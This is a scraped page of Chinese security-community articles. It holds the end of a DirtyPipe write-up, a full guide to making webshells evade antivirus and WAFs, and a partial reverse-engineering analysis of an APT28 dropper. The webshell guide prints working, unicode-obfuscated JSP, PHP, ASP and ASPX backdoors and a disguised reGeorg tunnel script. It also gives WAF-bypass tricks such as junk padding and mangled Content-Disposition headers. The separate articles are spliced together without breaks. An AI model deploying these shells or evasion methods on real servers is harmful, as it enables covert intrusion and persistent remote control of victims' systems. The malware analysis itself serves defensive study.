经作者案例上使用的`$"root"`可以使用，而`"$root"`无输出
笔者技术有限，分析不好勿喷。
下面这篇文章对该漏洞发展史讲解的很详细，有兴趣的师傅可以看看：
* [Linux 内核提权 DirtyPipe(CVE-2022-0847) 漏洞分析](https://mp.weixin.qq.com/s/fGoCM6d6r1WvoOrD-xBuQg)
#### 参考文章：
* [linux网络编程：splice函数和tee( )函数高效的零拷贝 ](https://www.cnblogs.com/kex1n/p/7446291.html)
* [DirtyPIPE漏洞分析从0到1](https://mp.weixin.qq.com/s/BtWRasj4xsiN_kmjULFrTw)
* [Linux内核权限提升漏洞“DirtyPipe”（CVE-2022-0847）分析](https://mp.weixin.qq.com/s/RoGHvNW2Y6dZOjgsBVVm5Q) | 社区文章 |
# 闲谈Webshell实战应用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
文件上传漏洞是渗透测试中很常见的漏洞之一，也是我们攻防演练或者安全测试中快速getshell的一种途径，当然发现文件漏洞并不一定能成功getshell，真实环境下必不可少会存在waf或者其他拦截设备，阻碍我们成功打进目标。这篇文章就聊聊我平时渗透测试中经常使用的webshell免杀方法。
## 动态免杀
### 流量加密webshell
#### 冰蝎和蚁剑
平时渗透测试中经常使用的就是冰蝎和蚁剑，对于我来说用的冰蝎多一点，冰蝎刚开始的时候免杀效果特别好，但是随着使用人数越来越多，已经可以被很多waf识别并拦截，冰蝎项目地址：
<https://github.com/rebeyond/Behinder/releases>
除了冰蝎，另外一个就是蚁剑了，蚁剑是一款开源的跨平台网站管理工具，因为开源，相对来说可玩性很高，可以自定义加密方式，可以做任何修改，也是很多安全行业从业者特别喜欢的一款工具：
<https://github.com/AntSwordProject/AntSword-Loader>
具体的一些使用我贴一些大佬写的文章，在这里就不重复写了：
[从0到1打造一款堪称完美antSword(蚁剑)](https://xz.aliyun.com/t/6701)
[蚁剑改造计划之实现JSP一句话](https://xz.aliyun.com/t/7491)
#### tunnel流量
tunnel也是我们拿下shell挂正向代理常用的工具之一(也就是我们常说的reGeorg)，但是目前来说，原始版确实存在很多特征，很容易被检测出流量，从而被拦截。现在我会经常使用Neo-reGeorg：
<https://github.com/L-codes/Neo-reGeorg>
这是L-codes大佬重构reGeorg的项目，对reGeorg的流量进行加密，我之前对它的流量进行抓包查看，确实没什么明显的特征，效果确实不错。最好的一点的可以伪造目标404页面，这为我们在护网中拿下目标后进行后门隐藏做了一个很好的铺垫，我们可以以目标系统的404页面进行模版制作后门。
## 静态免杀
### 各语言脚本免杀方法
静态免杀相对于动态免杀而言也是显得尤为重要，一方面静态免杀可以躲避被查杀工具发现，更重要的是在webshell上传时，可以绕过waf对于webshell内容的检测，这一点特别关键。也就是说我们在对webshell进行改造时，光能使webshell放到查杀工具中（比如D盾）不被查杀是很片面的，因为我们的第一步是把webshell传到目标服务器，这一步中我们要把敏感函数隐藏起来才行。
对于静态免杀，免杀思路也是特别灵活的，可以根据各个语言的特性来进行免杀，就用冰蝎举个例子：
冰蝎的静态免杀处理：
#### jsp木马
jsp脚本可以使用unicode编码的方式来进行绕过静态查杀，比如之前碰到的jsp小马：
既然jsp小马可以通过这种方式进行免杀，冰蝎当然也可以：
但是冰蝎不能像jsp小马那样直接全部unicode编码，而是需要部分编码，经过多次编码测试，发现在代码内容处，只要函数参数值不进行编码，冰蝎就可以正常使用：
另外有时在webshell上传时，有的waf也会对导入的java包名称进行检测，比如javax、java、crypto这些关键字，同理我们也可以进行unicode编码，只不过中间的点号不能编码，最终形式如下：
<%@page import="u006au0061u0076u0061.util.*,u006au0061u0076u0061u0078.u0063u0072u0079u0070u0074u006f.*,u006au0061u0076u0061u0078.u0063u0072u0079u0070u0074u006f.u0073u0070u0065u0063.*"%>
<%u0063u006cu0061u0073u0073u0020u0055u0020u0065u0078u0074u0065u006eu0064u0073u0020u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u007bu0055u0028u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u0020u0063u0029u007bu0073u0075u0070u0065u0072u0028u0063u0029u003bu007du0070u0075u0062u006cu0069u0063u0020u0043u006cu0061u0073u0073u0020u0067u0028u0062u0079u0074u0065u0020u005bu005du0062u0029u007bu0072u0065u0074u0075u0072u006eu0020u0073u0075u0070u0065u0072u002eu0064u0065u0066u0069u006eu0065u0043u006cu0061u0073u0073u0028u0062u002cu0030u002cu0062u002eu006cu0065u006eu0067u0074u0068u0029u003bu007du007d%>
<%u0069u0066u0028u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0050u0061u0072u0061u006du0065u0074u0065u0072u0028"pass"u0029u0021u003du006eu0075u006cu006cu0029{u0053u0074u0072u0069u006eu0067u0020u006b=u0028""u002bu0055u0055u0049u0044u002eu0072u0061u006eu0064u006fu006du0055u0055u0049u0044u0028u0029u0029u002eu0072u0065u0070u006cu0061u0063u0065u0028"-",""u0029u002eu0073u0075u0062u0073u0074u0072u0069u006eu0067u002816u0029;u0073u0065u0073u0073u0069u006fu006eu002eu0070u0075u0074u0056u0061u006cu0075u0065u0028"u",ku0029u003bu006fu0075u0074u002eu0070u0072u0069u006eu0074u0028u006bu0029u003bu0072u0065u0074u0075u0072u006eu003b}u0043u0069u0070u0068u0065u0072u0020u0063u003du0043u0069u0070u0068u0065u0072u002eu0067u0065u0074u0049u006eu0073u0074u0061u006eu0063u0065u0028"AES"u0029;u0063u002eu0069u006eu0069u0074u00282,u006eu0065u0077u0020u0053u0065u0063u0072u0065u0074u004bu0065u0079u0053u0070u0065u0063u0028u0028u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0056u0061u006cu0075u0065u0028"u"u0029u002b""u0029u002eu0067u0065u0074u0042u0079u0074u0065u0073u0028u0029u002c"AES"u0029u0029;u006eu0065u0077u0020u0055u0028u0074u0068u0069u0073u002eu0067u0065u0074u0043u006cu0061u0073u0073u0028u0029u002eu0067u0065u0074u0043u006cu0061u0073u0073u004cu006fu0061u0064u0065u0072u0028u0029u0029u002eu0067u0028u0063u002eu0064u006fu0046u0069u006eu0061u006cu0028u006eu0065u0077u0020u0073u0075u006eu002eu006du0069u0073u0063u002eu0042u0041u0053u0045u0036u0034u0044u0065u0063u006fu0064u0065u0072u0028u0029u002eu0064u0065u0063u006fu0064u0065u0042u0075u0066u0066u0065u0072u0028u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0052u0065u0061u0064u0065u0072u0028u0029u002eu0072u0065u0061u0064u004cu0069u006eu0065u0028u0029u0029u0029u0029u002eu006eu0065u0077u0049u006eu0073u0074u0061u006eu0063u0065u0028u0029u002eu0065u0071u0075u0061u006cu0073u0028u0070u0061u0067u0065u0043u006fu006eu0074u0065u0078u0074u0029u003b%>
#### php木马
对于php木马的改造，我们需要用到php函数的一个特性：就是php是将函数以string形式传递，我们查看php手册：
意思就是我们除了语言结构例如：array()，echo，empty()，eval()，exit()，isset()，list()，print 或
unset()外，其他函数变成字符串也会被当作函数执行，举个栗子：像冰蝎php脚本里面的敏感语句：
`$post=file_get_contents("php://input");`
``其实和下面这种写法是等价的：
`$post="file_get_contents"("php://input");`
那既然如此，我们可以编写一个字符解码函数，将加密的字符串传入其中然后让它返回解密后的字符串不就可以完美解决问题，我为了和jsp木马看起来统一，就写一个unicode解码函数，然后将敏感函数加密后传入其中即可（理论上什么解密函数都行）：
<?php
@error_reporting(0);
session_start();
//unicode解码函数
function xx($unicode_str){
$json = '{"str":"'.$unicode_str.'"}';
$arr = json_decode($json,true);
if(empty($arr)) return '';
return $arr['str'];
}
if (isset($_GET['pass']))
{
//调用解码函数返回原函数字符串
$key=xx("u0073u0075u0062u0073u0074u0072")(xx("u006du0064u0035")(xx("u0075u006eu0069u0071u0069u0064")(xx("u0072u0061u006eu0064")())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=xx("u0066u0069u006cu0065u005fu0067u0065u0074u005fu0063u006fu006eu0074u0065u006eu0074u0073")(xx("u0070u0068u0070u003au002fu002fu0069u006eu0070u0075u0074"));
if(!xx("u0065u0078u0074u0065u006eu0073u0069u006fu006eu005fu006cu006fu0061u0064u0065u0064")('openssl'))
{
$t=xx("u0062u0061u0073u0065u0036u0034u005f").xx("u0064u0065u0063u006fu0064u0065");
$post=$t($post."");
for($i=0;$i<xx("u0073u0074u0072u006cu0065u006e")($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=xx("u006fu0070u0065u006eu0073u0073u006cu005fu0064u0065u0063u0072u0079u0070u0074")($post,xx("u0041u0045u0053u0031u0032u0038"), $key);
}
$arr=xx("u0065u0078u0070u006cu006fu0064u0065")('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@xx("u0063u0061u006cu006cu005fu0075u0073u0065u0072u005fu0066u0075u006eu0063")(new C(),$params);
}
?>
我只是部分进行了改变，这样已经完全可以进行静态免杀了，当然大家也可以进一步细化。
#### asp木马
asp语法单一，在免杀方面确实没有什么比较好的方式，当然我们也同样可以利用asp函数的特性来进行随意变换以达到免杀的目的，比如冰蝎asp木马里面的execute(result)语句，我们可以把execute(result)变成eval(“execute(result)”)，因为在asp里面，像eval和execute，会把字符串当作表达式来执行，而且使用eval嵌套execute也是可行的。当然我们可以进一步，创建一个数组，用来组合免杀。为了和别的脚本统一，我还是使用unicode进行脚本改写：
<%
function xx(str)
str=replace(str,"u","")
xx=""
dim i
for i=1 to len(str) step 4
xx=xx & ChrW(cint("&H" & mid(str,i,4)))
next
end function
Response.CharSet = "UTF-8"
If Request.ServerVariables("REQUEST_METHOD")="GET" And Request.QueryString("pass") Then
For a=1 To 8
RANDOMIZE
k=Hex((255-17)*rnd+16)+k
Next
Session("k")=k
response.write(k)
Else
k=Session("k")
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
dim a(5)
a(0)=xx("u0065u0078u0065u0063u0075u0074u0065u0028u0072u0065u0073u0075u006cu0074u0029")
eval(a(0))
End If
%>
#### aspx木马
一般的aspx站点应该是支持asp的，但是aspx也有自己的免杀方法，而且对于内容检测绕过waf的效果也比asp好。对于aspx，网上的免杀资料很少，其实aspx的免杀可以类似jsp免杀那样。
因为对于aspx脚本，将里面的函数进行unicode编码也是可以运行的，当然比jsp更好的是aspx对于函数参数的编码也能运行：
<%@ Page Language="C#" %>
<%@Import Namespace="u0053u0079u0073u0074u0065u006d.u0052u0065u0066u006cu0065u0063u0074u0069u006fu006e"%>
<%if (u0052u0065u0071u0075u0065u0073u0074["u0070u0061u0073u0073"]!=null){ u0053u0065u0073u0073u0069u006fu006e.u0041u0064u0064("u006b", Guid.NewGuid().ToString().u0052u0065u0070u006cu0061u0063u0065("-", "").u0053u0075u0062u0073u0074u0072u0069u006eu0067(16)); u0052u0065u0073u0070u006fu006eu0073u0065.Write(Session[0]); return;}byte[] k = u0045u006eu0063u006fu0064u0069u006eu0067.Default.GetBytes(Session[0] + ""),c = u0052u0065u0071u0075u0065u0073u0074.u0042u0069u006eu0061u0072u0079u0052u0065u0061u0064(u0052u0065u0071u0075u0065u0073u0074.u0043u006fu006eu0074u0065u006eu0074u004cu0065u006eu0067u0074u0068);u0041u0073u0073u0065u006du0062u006cu0079.u004cu006fu0061u0064(new u0053u0079u0073u0074u0065u006d.u0053u0065u0063u0075u0072u0069u0074u0079.u0043u0072u0079u0070u0074u006fu0067u0072u0061u0070u0068u0079.u0052u0069u006au006eu0064u0061u0065u006cu004du0061u006eu0061u0067u0065u0064().u0043u0072u0065u0061u0074u0065u0044u0065u0063u0072u0079u0070u0074u006fu0072(k, k).u0054u0072u0061u006eu0073u0066u006fu0072u006du0046u0069u006eu0061u006cu0042u006cu006fu0063u006b(c, 0, c.Length)).u0043u0072u0065u0061u0074u0065u0049u006eu0073u0074u0061u006eu0063u0065("U").u0045u0071u0075u0061u006cu0073(this);%>
如上面代码所述，我只是随便找了几个函数进行了unicode编码，大家可以进一步细化。当然对于里面的括号、点号不能进行编码。
最后用d盾扫下：
另外在我平时的测试中，我通过这些shell也成功绕过了大部分的waf。
#### tunnel的免杀
tunnel的静态免杀可以结合上面所说的冰蝎免杀方法进行制作，当然如果改动的是前面动态免杀的tunnel脚本那就更好了，这里不多介绍，之前对jsp版本的tunnel进行过改动，也是通过unicode的方式进行：
<%@page import="u006au0061u0076u0061u002eu006eu0069u006fu002eu0042u0079u0074u0065u0042u0075u0066u0066u0065u0072, u006au0061u0076u0061u002eu006eu0065u0074u002eu0049u006eu0065u0074u0053u006fu0063u006bu0065u0074u0041u0064u0064u0072u0065u0073u0073, u006au0061u0076u0061u002eu006eu0069u006fu002eu0063u0068u0061u006eu006eu0065u006cu0073u002eu0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c, u006au0061u0076u0061u002eu0075u0074u0069u006cu002eu0041u0072u0072u0061u0079u0073, u006au0061u0076u0061u002eu0069u006fu002eu0049u004fu0045u0078u0063u0065u0070u0074u0069u006fu006e, u006au0061u0076u0061u002eu006eu0065u0074u002eu0055u006eu006bu006eu006fu0077u006eu0048u006fu0073u0074u0045u0078u0063u0065u0070u0074u0069u006fu006e, u006au0061u0076u0061u002eu006eu0065u0074u002eu0053u006fu0063u006bu0065u0074" %><%
u0053u0074u0072u0069u006eu0067u0020u0063u006du0064u0020u003du0020u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0048u0065u0061u0064u0065u0072("X-CMD");
if (u0063u006du0064u0020u0021u003du0020u006eu0075u006cu006c) {
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");
if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("CONNECT") == 0) {
try {
u0053u0074u0072u0069u006eu0067u0020u0074u0061u0072u0067u0065u0074u0020u003du0020u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0048u0065u0061u0064u0065u0072("X-TARGET");
int port = u0049u006eu0074u0065u0067u0065u0072u002eu0070u0061u0072u0073u0065u0049u006eu0074(u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0048u0065u0061u0064u0065u0072("X-PORT"));
u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c = u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu006fu0070u0065u006e();
u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0063u006fu006eu006eu0065u0063u0074(new u0049u006eu0065u0074u0053u006fu0063u006bu0065u0074u0041u0064u0064u0072u0065u0073u0073(target, port));
u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0063u006fu006eu0066u0069u0067u0075u0072u0065u0042u006cu006fu0063u006bu0069u006eu0067(false);
u0073u0065u0073u0073u0069u006fu006eu002eu0073u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket", u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c);
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");
} catch (u0055u006eu006bu006eu006fu0077u006eu0048u006fu0073u0074u0045u0078u0063u0065u0070u0074u0069u006fu006e e) {
u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL");
} catch (u0049u004fu0045u0078u0063u0065u0070u0074u0069u006fu006e e) {
u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL");
}
} else if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("DISCONNECT") == 0) {
u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c = (SocketChannel)u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket");
try{
u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0073u006fu0063u006bu0065u0074().close();
} catch (u0045u0078u0063u0065u0070u0074u0069u006fu006e ex) {
u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u0078u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
}
u0073u0065u0073u0073u0069u006fu006eu002eu0069u006eu0076u0061u006cu0069u0064u0061u0074u0065();
} else if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("READ") == 0){
u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c= (SocketChannel)u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket");
try {
u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0020u0062u0075u0066u0020u003du0020u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u002eu0061u006cu006cu006fu0063u0061u0074u0065(512);
u0069u006eu0074u0020u0062u0079u0074u0065u0073u0052u0065u0061u0064u0020u003du0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0072u0065u0061u0064(buf);
u0053u0065u0072u0076u006cu0065u0074u004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006du0020u0073u006fu0020u003du0020u0072u0065u0073u0070u006fu006eu0073u0065u002eu0067u0065u0074u004fu0075u0074u0070u0075u0074u0053u0074u0072u0065u0061u006d();
while (u0062u0079u0074u0065u0073u0052u0065u0061u0064 > 0){
u0073u006fu002eu0077u0072u0069u0074u0065(u0062u0075u0066u002eu0061u0072u0072u0061u0079(),0,u0062u0079u0074u0065u0073u0052u0065u0061u0064);
u0073u006fu002eu0066u006cu0075u0073u0068();
u0062u0075u0066u002eu0063u006cu0065u0061u0072();
u0062u0079u0074u0065u0073u0052u0065u0061u0064u0020u003du0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0072u0065u0061u0064(buf);
}
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");
u0073u006fu002eu0066u006cu0075u0073u0068();
u0073u006fu002eu0063u006cu006fu0073u0065();
} catch (u0045u0078u0063u0065u0070u0074u0069u006fu006e e) {
u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL");
}
} else if (u0063u006du0064u002eu0063u006fu006du0070u0061u0072u0065u0054u006f("FORWARD") == 0){
u0053u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu0020u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006c= (SocketChannel)u0073u0065u0073u0073u0069u006fu006eu002eu0067u0065u0074u0041u0074u0074u0072u0069u0062u0075u0074u0065("socket");
try {
u0069u006eu0074u0020u0072u0065u0061u0064u006cu0065u006eu0020u003du0020u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0043u006fu006eu0074u0065u006eu0074u004cu0065u006eu0067u0074u0068();
byte[] buff = new byte[readlen];
u0072u0065u0071u0075u0065u0073u0074u002eu0067u0065u0074u0049u006eu0070u0075u0074u0053u0074u0072u0065u0061u006d().read(buff, 0, readlen);
u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u0020u0062u0075u0066u0020u003du0020u0042u0079u0074u0065u0042u0075u0066u0066u0065u0072u002eu0061u006cu006cu006fu0063u0061u0074u0065(readlen);
u0062u0075u0066u002eu0063u006cu0065u0061u0072();
u0062u0075u0066u002eu0070u0075u0074(buff);
u0062u0075u0066u002eu0066u006cu0069u0070();
while(u0062u0075u0066u002eu0068u0061u0073u0052u0065u006du0061u0069u006eu0069u006eu0067()) {
u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0077u0072u0069u0074u0065(buf);
}
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "OK");
} catch (u0045u0078u0063u0065u0070u0074u0069u006fu006e e) {
u0053u0079u0073u0074u0065u006du002eu006fu0075u0074u002eu0070u0072u0069u006eu0074u006cu006e(u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-ERROR", u0065u002eu0067u0065u0074u004du0065u0073u0073u0061u0067u0065());
u0072u0065u0073u0070u006fu006eu0073u0065u002eu0073u0065u0074u0048u0065u0061u0064u0065u0072("X-STATUS", "FAIL");
u0073u006fu0063u006bu0065u0074u0043u0068u0061u006eu006eu0065u006cu002eu0073u006fu0063u006bu0065u0074().close();
}
}
} else {
u006fu0075u0074u002eu0070u0072u0069u006eu0074("Georg says, 'All seems fine'");
}
%>
我随便贴出来了一个jsp版本的，大家如有需要，可以以前面冰蝎脚本的免杀方法自己修改Neo-reGeorg的shell。
## 上传组合招
webshell上传时，通过我们对前面提到的一些静态免杀可以成功绕过很多waf，但是也不代表能绕过所有waf，这个时候怎么办呢？我们可以使用一些组合招。
众所周知，waf层进行绕waf是一个很好的办法，实战中通过给交互的数据包填充大量垃圾数据能有效的过waf,因为waf为了不能影响正常业务，肯定不会对特别大的数据包进行完整识别，只是取数据包的前一部分，比如在文件上传时，单纯的静态免杀不能绕过waf，我们可以使用垃圾数据填充+静态免杀脚本进行绕过：
这里的交互数据包可以是文件上传的数据包，当然也可以是sql注入的数据包，更可以是其他漏洞exp的数据包，比如之前weblogic的反序列化远程代码执行，也可以通过在数据包中添加大量垃圾字符来绕过waf：
另外，也可以结合一些waf检测特征来绕过waf，比如将 Content-Disposition字段进行修改，修改成 Content+Disposition、
Content～Disposition等，都有可能突破waf检测。
## 总结
本文主要介绍了一些常用的上传免杀思路和一些webshell管理工具，同时以冰蝎的webshell为例，提供了一种webshell的免杀方法，供大家参考。其实webshell免杀思路很多，就不说其他的思路，就是以我说的这种思路也会有衍生很多方法，举个例子，在aspx脚本上，aspx甚至可以将“u0076u006Fu006Cu0063u0061u006Eu006F”这样的字符串变成类似“U00000076U0000006FU0000006CU00000063U00000061U0000006EU0000006F”这样的字符串来进行免杀。对于jsp和aspx的unicode编码的方法，我们不光可以函数名全部编码，也可以部分编码，比如“request”，我们可以全部编码成“u0072u0065u0071u0075u0065u0073u0074”，也可以部分编码成“requu0065st”。这些都是可以躲避waf关键字段检测的。
这也是我之前常用的一种免杀手段，最近研究出新的办法就把老的办法发出来，也没什么技术含量，大佬轻喷。 | 社区文章 |
# 七夕—一例APT28（Fancybear）样本详细分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 背景
APT28是一个疑似具有俄罗斯政治背景的APT组织。笔者根据公开的情报整理到的信息大概如下。
本次的样本来源于沙箱app.any.run:<https://app.any.run/tasks/d6a8d1db-52c8-4371-b6d3-bf740408bb10/>
上传到app.any.run的时间为2020年7月27.
可以看到样本已经标记为了APT28
样本MD5为：36524c90ca1fac2102e7653dfadb31b2
## 0x01 样本基本信息
样本下载到本地之后通过exeinfo查看样本可以知道样本是标准VC编译的程序。
使用火绒剑和fakenet跑一下样本的行为：
样本运行后，最直接的行为就是在本地appdata路径释放了一个dll文件和一个bat文件，然后在左边的fakenet窗口中可以看到发送了超级长的一段base64编码数据，这次猜测可能是通过base64编码了本地收集到的信息然后传到C2.
转到bat和dll文件的目录下，可以看到bat的内容就是调用rundll32.exe去启用加载这个dll。
所以看样子，我们拿到的这个exe有很大的概率是一个Dropper。
## 0x02 Dropper分析
使用IDA加载原始样本。
WinMain的入口点没什么特殊的，进来之后调用了三次sub_401DEF函数，这种情况下，sub_401DEF一般都是解密函数。
解密的第一个字符串是SystemRoot\SysWow64
第二个串是SystemRoot\SysWow64
第三个串是：TEMP
所以我们将sub_401DEF函数重命名为：Rename_decodeStr
三个字符串解密之后，程序会再调用一个名为sub_4012D3的函数，这个函数如果调用失败，程序将通过jmp跳转到最后结束运行。所以sub_4012D3有可能是进行环境校验啥的。
### WinMain->12d3
12D3函数进来之后，首先会通过GetProcessHeap获取当前进程的堆地址，然后通过HeapAlloc分配一个堆空间。
成功分配之后，程序会调用sub_401063继续分配
然后在分配的堆空间中解密出这个dll名称
第二次解密出appdata这个环境变量的名称
12D3函数执行完成之后，程序会调用执行sub_4013F7
### WinMain->13F7
该函数进来，程序首先是通过之前分析的解密函数，解密了两个解压相关的API:
RtlGetCompressionWorkSpaceSize
RtlDecompressBuffer
这里应该是为等会释放文件做准备了。
然后LoadLibrary之后通过GetProcAddress获取刚才解密出来的API函数的地址
然后直接调用该函数，参数为eax：
然后调用了RtlDecompressBuffer，根据参数来看，这里应该是会将目标数据解压缩到esi所在的地址
函数执行之后成功解压出一个PE
至此，sub_4013F7函数功能分析完毕，经过分析，该函数用于解压缩数据为PE文件。
接下来是调用sub_40155B函数。
### WinMain->155B
在115B函数中，程序首先执行了一个call ，然后就准备LoadLibrary
**155B->sub_4010CD**
跟进到sub_4010CD中，程序首先是解密了两个字符串，分别是SystemRoot和\System32
然后就尝试通过GetEnvironmentVariableW获取LOCALAPPDATA环境变量的路径。
成功获取，根据行为分析我们可以知道，这个路径是后续用于释放文件的。
然后尝试通过lstrcatW拼接字符串，获取更完整的路径。
最后拼接出解密dll的完整路径：
至此，sub_4010CD函数分析完成，我们回到1565B函数中
程序是通过了拆分字符串的方式，组装出了Kernel32.dll
然后准备调用CreateFileW
成功获取API地址之后，程序首先跳转到loc_4016E3去，然后通过jmp函数又跳转回来继续执行。
跳回来之后，程序通过CreateFile创建这个dll的文件对象。
同样的方式，去获取WriteFile的API地址：
然后调用WriteFile将dll文件写入过去：
这里是文件对象创建成功
这里是closeHandle之后，dll文件写入成功。
到这里，sub_40155B函数就分析完成。
通过分析我们可以知道，该函数的主要功能是解压缩资源，释放目标dll文件到指定的目录。
回到WinMain中，155B函数调用完成之后，程序会调用sub_40264C函数。
### **WinMain->264C**
264c函数进来之后就一直在解密字符串：
解密的第一个字符串是rundll32.exe
解密出来的字符串分别如下：
然后老套路解密出了操作注册表的API:RegOpenKeyExw
然后循环的去调用之前的解密函数，逐步解密出bat的完整内容
尝试通过CreateFileA创建文件：
文件对象创建成功之后，将调用执行dll的命令写入进去：
写入成功之后就是一系列的收尾工作：
到这里，sub_402030函数分析完成，该函数的主要功能就是将启动dll的命令写入到bat文件中。
然后创建一个UserInitMprLogonScript的注册表，这是一种用于权限维持的操作。因为HKEY_CURRENT_USER\Environment\
Logon Scripts 的执行顺序在杀软钱，所以Logon Scripts可以优先于杀软执行，绕过杀软对敏感操作的拦截。
到这里，264C函数也执行完毕。
该函数的主要功能就是释放bat文件，然后写入Logon Scripts注册表以绕过杀软。
接下来是在WinMain中调用sub_401707函数：
### **WinMain- >1707**
1707进来之后首先是解密了三个字符串，分别是RunDll32.exe ,#1 和Open
接着call到了sub_401D09中。该函数用于获取进程的一个执行权限
获取之后，程序会带参数加载这个dll文件。
这里加载执行之后，程序就会做一些收尾操作，然后退出当前的程序了。
这里程序其实配置了多种启动方式，感兴趣的可以看下。
最后，程序尝试通过DeleteFile删除自身
到这里，Dropper这个程序就完全分析完成。
## 0x03 cdnver.dll分析
释放出来的这个dll就是APT28的特马。
该样本功能非常完善，包括信息收集、信息上传、下载、执行PE、截屏等。
网上关于该木马的分析报告还挺多的，这里就随便看一下，且因为篇幅的原因，也不能写太长啦~
这就是一个标准的远控木马，没有什么混淆，有一些自定义的解密函数，跟着调试很快就可以调试完。
使用IDA加载该dll，由bat文件中的执行指令可以知道，程序调用该dll的时候，是执行了序号为1的导出函数。
start rundll32.exe “C:\Users\Administrator\AppData\Local\cdnver.dll”,#1
该函数结构非常简单，进来直接就是CreateThread执行了sub_10002CA0，这里是该特马的入口点。
### #1->2ca0
2CA0进来调用的第一个函数是sub_10002CFD
### sub_10002CFD
程序首先是通过10002F3F解密得到了一个互斥体名，然后通过CreateMuteA创建互斥体。
通过gethostbyname获取当前的主机名：
通过GetVolumeInformationW获取磁盘信息：
调用obtainUserAgentString检索当前的User-Agenet HTTP请求标头字符串。
